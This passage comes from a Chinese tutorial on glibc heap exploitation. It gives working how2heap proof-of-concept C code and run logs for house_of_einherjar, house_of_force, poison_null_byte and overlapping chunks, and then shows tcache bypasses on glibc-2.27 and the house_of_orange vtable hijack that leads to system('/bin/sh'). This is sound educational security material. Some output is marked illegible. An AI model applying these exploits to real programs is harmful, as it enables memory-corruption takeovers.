
    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    memset(a, 'A', real_a_size);
    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);

    size_t fake_chunk[6];
    fake_chunk[0] = 0x80;
    fake_chunk[1] = 0x80;
    fake_chunk[2] = (size_t) fake_chunk;
    fake_chunk[3] = (size_t) fake_chunk;
    fake_chunk[4] = (size_t) fake_chunk;
    fake_chunk[5] = (size_t) fake_chunk;
    fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
    fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
    fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
    fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
    fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
    fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
    fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);

    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0;
    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);

    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
    fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will\n",
        ↪ consolidate with our fake chunk\n", sizeof(size_t));
    fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2,
        ↪ fake_chunk, fake_size);

    fake_chunk[1] = fake_size;
    fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");

    fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
    free(b);
```



```

fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n",
    ↪ fake_chunk[1]);

d = malloc(0x10);
memset(d, 'A', 0x10);
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n",
    ↪ d);
}

```

编译，运行得到结果：

```

$ gcc -g house_of_einherjar.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xb31010

Our fake chunk at 0x7ffdb337b7f0 looks like:
prev_size: 0x80
size: 0x80
fwd: 0x7ffdb337b7f0
bck: 0x7ffdb337b7f0
fwd_nextsize: 0x7ffdb337b7f0
bck_nextsize: 0x7ffdb337b7f0

We allocate 0xf8 bytes for 'b': 0xb31030
b.size: 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake
    ↪ chunk
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830

Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)

Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800

```

house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志，然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时，它会发现前一个 chunk 被标记为空闲状态，然后尝试合并堆块。只要我们精心构造一个 fake chunk，并让合并后的堆块范围到 fake chunk 处，那下一次 malloc 将返回我们想要的地址。

2.10 house_of_force

```

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main() {
    fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
}

```

```

intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will
↳ never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %llx\n", *((unsigned long long int *)ptr_top));

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned
↳ long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so
↳ accounting for the header size, we will malloc %lx bytes.\n", bss_var, ptr_top,
↳ evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk:
↳ %p\n", new_ptr);

void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so
↳ we can overwrite the value.\n");

fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}

```

编译，运行，得到结果：

```

$ gcc -g house_of_force.c
$ ./a.out
We will overwrite a variable at 0x601080

Let's allocate the first chunk of 0x10 bytes: 0x824010.
Real size of our allocated chunk is 0x18.

Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20fe1
New size of top chunk: 0xffffffffffffff

The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting
↳ for the header size, we will malloc 0xffffffffffff048 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x824030
malloc(0x30) => 0x601080!

Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the
↳ value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!

```

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗堆分配器的返回任意地址的技术。我们知道在空闲内存的最高处，必然存在一块空闲的 chunk，即 top chunk，当 bins 和 fast bins 都不能满足分配需要的时候，malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。

这种攻击假设有一个溢出漏洞，可以改写 top chunk 的头部，然后将其改为一个非常大的值，以确保所有的 malloc 将使用 top chunk 分配，而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目（负有符号整数），top chunk 的位置加上这个大数，造成整数溢出，结果是 top chunk 能够被转移到堆之前的内存地址（如程序的.bss 段、.data 段、GOT 表等），下次再执行 malloc 时，攻击者就能够控制转移之后地址处的内存。

2.11 poison_null_byte

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    uint8_t *a, *b, *c, *b1, *b2, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
    fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x100);
    c = (uint8_t*) malloc(0x80);
    fprintf(stderr, "b: %p\n", b);
    fprintf(stderr, "c: %p\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    *(size_t*)(b+0xf0) = 0x100;
    fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);

    free(b);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
    fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);

    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);

    fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size
    ↪ (next_chunk(P))\n", *((size_t*)(b-0x8)), *((size_t*)(b-0x10 + *((size_t*)(b-0x8)))));
    b1 = malloc(0x80);
    memset(b1, 'A', 0x80);
    fprintf(stderr, "We malloc 'b1': %p\n", b1);
    fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
    fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));

    b2 = malloc(0x40);
    memset(b2, 'A', 0x40);
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);

    free(b1);
    free(c);
    fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c'
    ↪ (forgetting about 'b2').\n");
```

```

d = malloc(0x110);
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);

fprintf(stderr, "b2 content:%s\n", b2);
memset(d, 'B', 0xb0);
fprintf(stderr, "New b2 content:%s\n", b2);
}

```

编译，并运行得到结果：

```

$ gcc -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xab010
real size of 'a': 0x18
b: 0xab030
c: 0xab140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc b1: 0xab030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc b2, our victim chunk: 0xab0c0
Now we free b1 and 'c', this will consolidate the chunks b1 and 'c' (forgetting about
↳ b2).
Finally, we allocate 'd', overlapping b2: 0xab030

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAA

```

此技术的利用条件是某个由malloc分配的内存区域存在单字节溢出，通过溢出下一个chunk的size字段，攻击者能够在堆中创造出重叠的内存块，从而达到改写其他数据的目的。再结合其他的利用方式，同样能够获得程序的控制权。

2.12 overlapping_chunks

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x90 - 8);
    p2 = malloc(0x90 - 8);
    p3 = malloc(0x80 - 8);
    memset(p1, 'A', 0x90 - 8);
    memset(p2, 'A', 0x90 - 8);
    memset(p3, 'A', 0x80 - 8);
}

```

```

printf(stderr, "Now we allocate 3 chunks on the heap\n");
fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);

free(p2);
fprintf(stderr, "Freeing the chunk p2\n");

int evil_chunk_size = 0x111;
int evil_region_size = 0x110 - 8;
*(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk
↳ p2.\n\n");

p4 = malloc(evil_region_size);
fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);

fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
memset(p4, 'B', 0xd0);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);

fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
memset(p3, 'C', 0x50);
fprintf(stderr, "p4 = %s\n", (char *)p4);
fprintf(stderr, "p3 = %s\n", (char *)p3);
}

```

编译，运行得到结果：

[illegible]

此项技术是通过一个溢出漏洞，改写unsorted bin 中空闲堆块的 size，改变下一次malloc 可以返回的堆块大小。

2.13 overlapping_chunks_2

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3;
    unsigned int real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(0x10);
    p2 = malloc(0x80);
    p3 = malloc(0x80);
    p4 = malloc(0x80);
    p5 = malloc(0x10);
    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);
    memset(p1, 'A', real_size_p1);
    memset(p2, 'A', real_size_p2);
    memset(p3, 'A', real_size_p3);
    memset(p4, 'A', real_size_p4);
    memset(p5, 'A', real_size_p5);
    fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
    fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
    fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
    fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
    fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
    fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

    free(p4);
    fprintf(stderr, "\nLet's free the chunk p4\n\n");

    fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with
    ↪ (size of chunk_p2 + size of chunk_p3)\n\n");
    *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 +
    ↪ prev_in_use + sizeof(size_t) * 2; // BUG HERE

    free(p2);

    p6 = malloc(0x1b0 - 0x10);
    real_size_p6 = malloc_usable_size(p6);
    fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char
    ↪ *)p6+real_size_p6);

    fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
    fprintf(stderr, "p3 before = %s\n", (char *)p3);
    memset(p6, 'B', 0xd0);
    fprintf(stderr, "p3 after = %s\n", (char *)p3);
```

```
}
```

编译，运行得到结果：

```
$ gcc -g overlapping_chunks_2.c
$ ./a.out
Now we allocate 5 chunks on the heap
```

```
chunk p1: 0x18c2010 ~ 0x18c2028
chunk p2: 0x18c2030 ~ 0x18c20b8
chunk p3: 0x18c20c0 ~ 0x18c2148
chunk p4: 0x18c2150 ~ 0x18c21d8
chunk p5: 0x18c21e0 ~ 0x18c21f8
```

```
Let's free the chunk p4
```

```
Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size
↪ of chunk_p3)
```

```
Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
```

```
Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
```

```
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
p3 after  = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

与 overlapping_chunks 不同的是，此技术在 free 之前修改 size 值，使 free 错误地修改了下一个 chunk 的 prev_size 值，导致中间的 chunk 强行合并。

3 ptmalloc 分析

此处分析的版本为 glibc-2.27 中的 malloc 实现。

下载 glibc-2.27 源码，并编译 glibc，单独使用如下命令编译每个文件，将动态链接库替换为我们刚编译好的 glibc-2.27:

```
$ how2heap git:(master) gcc -g -L/root/tmpwork/g227/lib
↳ -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 unsafe_unlink.c -o
↳ unsafe

$ how2heap git:(master) ldd unsafe
linux-vdso.so.1 => (0x00007fffa0a78000)
libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007f98aea71000)
/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
↳ (0x00007f98aee26000)
```

3.1 unsafe_unlink

依然使用之前的代码，只不过我们此次将 glibc 替换为 glibc-2.27，此后的操作均相同：

```
$ how2heap git:(master) gcc -g -L/root/tmpwork/g227/lib
↳ -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 unsafe_unlink.c -o
↳ unsafe_unlink

$ how2heap git:(master) ldd unsafe_unlink
linux-vdso.so.1 => (0x00007fff301e7000)
libc.so.6 => /root/tmpwork/g227/lib/libc.so.6 (0x00007f9d47544000)
/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2
↳ (0x00007f9d478f9000)

$ how2heap git:(master) ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x1641260
The victim chunk we are going to corrupt is at 0x16412f0
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value: AAAAAAAAAA
```

发现我们 unsafe_unlink 攻击失效了。这是因为 glibc-2.27 添加了在 unlink 操作时候的检查，其中 unlink 操作的实现如下：

```
#define unlink(AV, P, BK, FD) {
    if (__builtin_expect (chunksizes(P) != prev_size (next_chunk(P)), 0))
        malloc_printerr ("corrupted size vs. prev_size");
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr ("corrupted double-linked list");
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (chunksizes_nomask (P))
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
                && __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) {
```

```

        // __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
        malloc_printerr ("corrupted double-linked list (not small)");
        if (FD->fd_nextsize == NULL) {
            if (P->fd_nextsize == P)
                FD->fd_nextsize = FD->bk_nextsize = FD;
            else {
                FD->fd_nextsize = P->fd_nextsize;
                FD->bk_nextsize = P->bk_nextsize;
                P->fd_nextsize->bk_nextsize = FD;
                P->bk_nextsize->fd_nextsize = FD;
            }
        } else {
            P->fd_nextsize->bk_nextsize = P->bk_nextsize;
            P->bk_nextsize->fd_nextsize = P->fd_nextsize;
        }
    }
}

```

glibc-2.26 引入了 tcache 机制，这是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，chunk0_ptr 仍然指向正确的堆地址，而不是之前的 chunk0_ptr = P = P->fd。为了解决这个问题，一种可能的办法是给填充进特定大小的 chunk 把 bin 占满，就像下面这样：

```

int *a[10];
int i;
for (i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(a[i]);
}

```

程序中添加如上代码，运行：

```

$ ./unsafe_unlink
The global chunk0_ptr is at 0x601070, pointing to 0x6aa260
The victim chunk we are going to corrupt is at 0x6aa2f0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAAAA
New Value:BBBBBBBB

```

利用成功，那么如果我们绕过 glibc-2.27 中的 tcache，即 unsafe_unlink 的漏洞仍然存在。

3.2 house_of_spirit

编译、运行，得到如下结果：

```

$ how2heap-g227 gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↪ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_spirit.c -o
↪ house_of_spirit

$ how2heap-g227 ./house_of_spirit

```

We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two
 ↳ chunks.
 The first one: 0x7ffda0ac1420
 The second one: 0x7ffda0ac1440
 Overwriting our pointer with the address of the fake region inside the fake first chunk,
 ↳ 0x7ffda0ac1420.
 Freeing the overwritten pointer.
 Now the next malloc will **return** the region of our fake chunk at 0x7ffda0ac1420, which will
 ↳ be 0x7ffda0ac1430!
 malloc(0x10): 0x7ffda0ac1430

本攻击成功的原因是, 我们已经控制了一个将被 `free` 的指针, 且已经布置好了一个 fastbin 的 `fake_chunk` 的相关参数, 接着在 `free` 操作时, 这个栈上的“堆块”即被投入 fastbin 中。下一次 `malloc` 对应的大小时, 由于 fastbin 的机制为先进后出, 故上次 `free` 的栈上的“堆块”能够被优先返回给用户。

3.3 house_of_lore

编译, 运行得到如下结果, 发现攻击不能正常进行:

```
$ how2heap-g227 gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_lore.c -o
↳ house_of_lore
$ how2heap-g227 ./house_of_lore
Allocated the victim (small) chunk: 0x621260
stack_buffer_1: 0x7fff39008000
stack_buffer_2: 0x7fff39007fe0

Freeing the victim chunk 0x621260, it will be inserted in the unsorted bin
victim->fd: (nil)
victim->bk: 0x4141414141414141

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x621310
The victim chunk 0x621260 will be inserted in front of the SmallBin
victim->fd: (nil)
victim->bk: 0x4141414141414141

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x621260
The fd pointer of stack_buffer_2 has changed: 0x7fff39008000
```

攻击失效了, 我们来看一下是什么原因使攻击失效。下面的代码是 glibc2.27 中使用 `tcache` 对 smallbins 的处理方式。

```
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) {
    mchunkptr tc_victim;
    /* While bin not empty and tcache not full, copy chunks over. */
    while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) !=
        ↳ bin) {
        if (tc_victim != 0) {
            bck = tc_victim->bk;
            set_inuse_bit_at_offset (tc_victim, nb);
            if (av != &main_arena)
                set_non_main_arena (tc_victim);
            bin->bk = bck;
            bck->fd = bin;
            tcache_put (tc_victim, tc_idx);
```

```

    }
}
}

```

从程序的运行结果上来看，`victim->bk: 0x4141414141414141` 的原因成为了我们 `memset()` 至内存的字符串，其中一大可能的原因是 `tcache`，源代码的第 39 行执行完毕后，我们可以在 `gdb` 的调试中印证这一点：

```

gef> x/20gx victim-0x2
0x603250: 0x0000000000000000 0x0000000000000091 <--victim
0x603260: 0x0000000000000000 0x4141414141414141 -
...      0x4141414141414141 0x4141414141414141 | <-- 'A'*0x80
0x6032d0: 0x4141414141414141 0x4141414141414141 -

gef> vmmmap heap
Start      End      Offset      Perm  Path
0x000000000603000 0x000000000624000 0x0000000000000000 rw-   [heap]

gef> x/20gx 0x000000000603000+0x10      <- heap base+0x10
0x603010: 0x0100000000000000 0x0000000000000000 <- tcache_01
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x000000000603260 <- victim

```

在前面已经提到，`tcache` 的作用是为了更快速的 `unlink`，因此 `unlink` 下来的堆块首先将被放置在 `tcache` 中。因此，我们的处理方式和之前一样，只需要在 `malloc(0x80)` 之后添加填满 `tcache` 的代码：

```

// fill the tcache
int *a[10];
for (int i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}
for (i = 0; i < 7; i++) {
    free(a[i]);
}

```

并在再次 `malloc(0x80)` 之前清空掉 `tcache` 就可以了：

```

// empty the tcache
for (i = 0; i < 7; i++) {
    a[i] = malloc(0x80);
}

```

接着编译后再运行，利用依然可以成功：

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z took 7m 53s
$ gcc -g -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_lore.c -o
↳ house_of_lore_tcache_b

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_lore_tcache_b
Allocated the victim (small) chunk: 0x230d260

```

```
stack_buffer_1: 0x7ffeccacf810
stack_buffer_2: 0x7ffeccacf830
```

Freeing the victim chunk 0x230d260, it will be inserted in the unsorted bin
 victim->fd: 0x7f5adfe2fca0
 victim->bck: 0x7f5adfe2fca0

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x230d700
 The victim chunk 0x230d260 will be inserted in front of the SmallBin
 victim->fd: 0x7f5adfe2fd20
 victim->bck: 0x7f5adfe2fd20

Now emulating a vulnerability that can overwrite the victim->bck pointer
 This last malloc should **return** a chunk at the position injected in bin->bck: 0x7ffeccacf820
 The fd pointer of stack_buffer_2 has changed: 0x7ffeccacf820

Nice jump d00d

3.4 house_of_einherjar

编译后运行, house_of_einherjar 完全不受影响:

```
$ ./house_of_einherjar
We allocate 0x10 bytes for 'a': 0x16b9260
```

```
Our fake chunk at 0x7ffce41a2ae0 looks like:
prev_size: 0x80
size: 0x80
fwd: 0x7ffce41a2ae0
bck: 0x7ffce41a2ae0
fwd_nextsize: 0x7ffce41a2ae0
bck_nextsize: 0x7ffce41a2ae0
```

```
We allocate 0xf8 bytes for 'b': 0x16b9280
b.size: 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
```

```
We write a fake prev_size to the last 8 bytes of a
so that it will consolidate with our fake chunk
Our fake prev_size will be 0x16b9270 - 0x7ffce41a2ae0 = 0xffff80031d516790
```

```
Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk
Our fake chunk size is now 0xffff80031d516790 (b.size + fake_prev_size)
```

```
Now we can call malloc() and it will begin in our fake chunk: 0x16b9380
```

3.5 house_of_orange

编译, 运行, 结果报错:

```
root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ gcc -g3 -L/root/tmpwork/g227/lib -Wl,--rpath=/root/tmpwork/g227/lib
↳ -Wl,--dynamic-linker=/root/tmpwork/g227/lib/ld-linux-x86-64.so.2 house_of_orange.c -o
↳ house_of_orange
```

```

root in ~/how2heap-g227 at iZwz9eo57jnmoquu8r2fg0Z
$ ./house_of_orange
house_of_orange: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) &&
↳ old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
↳ ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
[1] 9705 abort      ./house_of_orange

```

我们在报错信息中可以看到，是在 malloc 源代码中的第 2401 行看到：

```

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

```

我们在前面就已经提到过，house_of_orange 是一种劫持 _IO_list_all 全局变量来伪造链表的利用技术，通过 _IO_flush_all_lockp() 函数触发。当 glibc 检测到内存错误的时候，会依次调用这样的函数路径：malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp。

```

// glibc-2.23 in libio/genops.c

```

```

int
_IO_flush_all_lockp (int do_lock)
{
    int result = 0;
    struct _IO_FILE *fp;
    int last_stamp;

#ifdef _IO_MTSAFE_IO
    __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
    if (do_lock)
        _IO_lock_lock (list_all_lock);
#endif

    last_stamp = _IO_list_all_stamp;
    fp = (_IO_FILE *) _IO_list_all;    // 将其覆盖为伪造的链表
    while (fp != NULL)
    {
        run_fp = fp;
        if (do_lock)
            _IO_flockfile (fp);

        if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)    // 条件
#ifdef _LIBC || defined _GLIBCXX_USE_WCHAR_T
            || (_IO_vtable_offset (fp) == 0
                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
#endif
        )
            && _IO_OVERFLOW (fp, EOF) == EOF)    // 将其修改为 system 函数
            result = EOF;

        if (do_lock)
            _IO_funlockfile (fp);
        run_fp = NULL;

        if (last_stamp != _IO_list_all_stamp)
        {

```

```

    /* Something was added to the list. Start all over again. */
    fp = (_IO_FILE *) _IO_list_all;
    last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;    // 指向我们指定的区域
}

#ifdef _IO_MTSafe_IO
if (do_lock)
    _IO_lock_unlock (list_all_lock);
    __libc_cleanup_region_end (0);
#endif

return result;
}

```

于是对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。但是在 `glibc-2.24` 中³增加了对指针 `vtable` 的检查。所有的 `libio` `vtables` 被放进了专用的只读的 `__libc_IO_vtables` 段，以使它们在内存中连续。在任何间接跳转之前，`vtable` 指针将根据段边界进行检查，如果指针不在这个段，则调用函数 `_IO_vtable_check()` 做进一步的检查，并且在必要时终止进程：

```

// glibc-2.24 in libio/libioP.h
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
_IO_validate_vtable (const struct _IO_jump_t *vtable)
{
    /* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
    uintptr_t section_length = __stop__libc_IO_vtables - __start__libc_IO_vtables;
    const char *ptr = (const char *) vtable;
    uintptr_t offset = ptr - __start__libc_IO_vtables;
    if (__glibc_unlikely (offset >= section_length))
        /* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
        _IO_vtable_check ();
    return vtable;
}

